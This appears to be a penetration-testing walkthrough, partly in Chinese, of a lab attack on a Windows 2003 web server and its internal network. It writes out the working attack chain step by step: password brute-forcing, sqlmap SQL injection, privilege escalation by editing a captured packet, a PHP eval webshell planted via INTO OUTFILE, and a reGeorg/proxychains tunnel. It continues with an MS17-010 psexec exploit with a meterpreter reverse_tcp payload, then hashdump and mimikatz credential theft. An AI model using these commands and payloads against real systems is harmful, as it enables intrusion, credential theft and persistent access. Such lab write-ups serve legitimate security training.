Network penetration process in detail
Foreword
Target: target a given ip , to give permission to the server, and by the ip penetrate into both servers within the network of the control network
Attack: Kali (192.168.31.51)
Target: Windows 2003 (192.168.31.196)
1. brute force
In the foreground "Login" find the user's account
Use burpsuite blasting out weak passwords password
Successful landing user interface
2.SQL injection
Home found SQL injection point
Use sqlmap tool to gain administrator account and password
3. ultra vires add ultra-tube website background
Enter kefu administrator background, found to be common administrator privileges, many operations restricted
By capturing Packet found to modify the permissions, " submanage " changed to " the Manage ", then put the bag
The success of "general administrator" privileges to modify the "super administrator" and then get caught discovery "package" of rights or " submanage " , continue to modify as " the Manage "
修改成功,【在这个网站中,普通管理员想要操作不受限制,没次操作都可抓包修改为“manage”,所以在这里我利用此漏洞直接添加一个超管,便于操作】
成功登陆我刚新建的超管“let”
4.getshell
通过ip访问此网站,发现该网站存在“探针”,可以查看到当前网站目录
通过sql注入出的管理员账户密码,登陆“data”管理员后台,发现此管理员有执行sql语句的权限,利用数据库命令,将“php一句话”写入到网站根目录下
例如:select "<?php eval($_POST['pass']);?>" into outfile "C:/UPUPW_AP5.2/htdocs/wlt.php"
成功用“菜刀”连接网站后台
5.添加系统账户【超管】
上传一个“php大马”
利用“大马”执行命令,创建系统超管账户
扫描发现3389端口开启,远程连接到系统
6.隧道代理-端口转发
开启reGeorg监听:python reGeorgSocksProxy.py -p 9527 -u http://192.168.31.196/tunnel.php
使用proxychains工具
设置代理,先vi /etc/proxychains.conf编辑,再将第二行命令运行【复制相关文件,需要调用】,最后添加firefox和nmap等用到的工具
取消图中的注释
添加通道5,代理监听的端口,例如9527
使用nmap工具查询开放的端口
通过用户想要使用的应用程序运行ProxyChains,例如,启动msfconsole
执行命令:proxychains msfconsole
如下图所示,输入命令执行脚本便可连接到目标主机
【1】set payload windows/x64/meterpreter/reverse_tcp
或者set payload windows/meterpreter/reverse_tcp //针对目标机器使用的系统版本,目标机器32位就使用32位
【2】set LHOST 本机IP
【3】use exploit/windows/smb/ms17_010_psexec【脚本】
【4】set RHOST 目标IP
【5】run
如下图所示,表示成功连接到了目标主机,可输入相应的命令来达到目的
代理获取系统账户和密码
获取加密密码
例如输入命令:run post/windows/gather/smart_hashdump,可以获取目标主机的账户和密码
获取明文密码
利用mimikatz获取明文密码,命令如下【我只用了两条命令】:
meterpreter > load mimikatz #加载mimikatz
meterpreter > msv #获取hash值
meterpreter > kerberos #获取明文
meterpreter >ssp #获取明文信息
meterpreter > wdigest #获取系统账户信息
meterpreter >mimikatz_command -f a:: #必须要以错误的模块来让正确的模块显示
meterpreter >mimikatz_command -f hash:: #获取目标 hash
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
开启3389端口
用run getgui -e命令开启3389端口
远程连接
使用远程连接,连接目标主机:proxychains rdesktop 192.168.238.129和proxychains rdesktop 192.168.238.130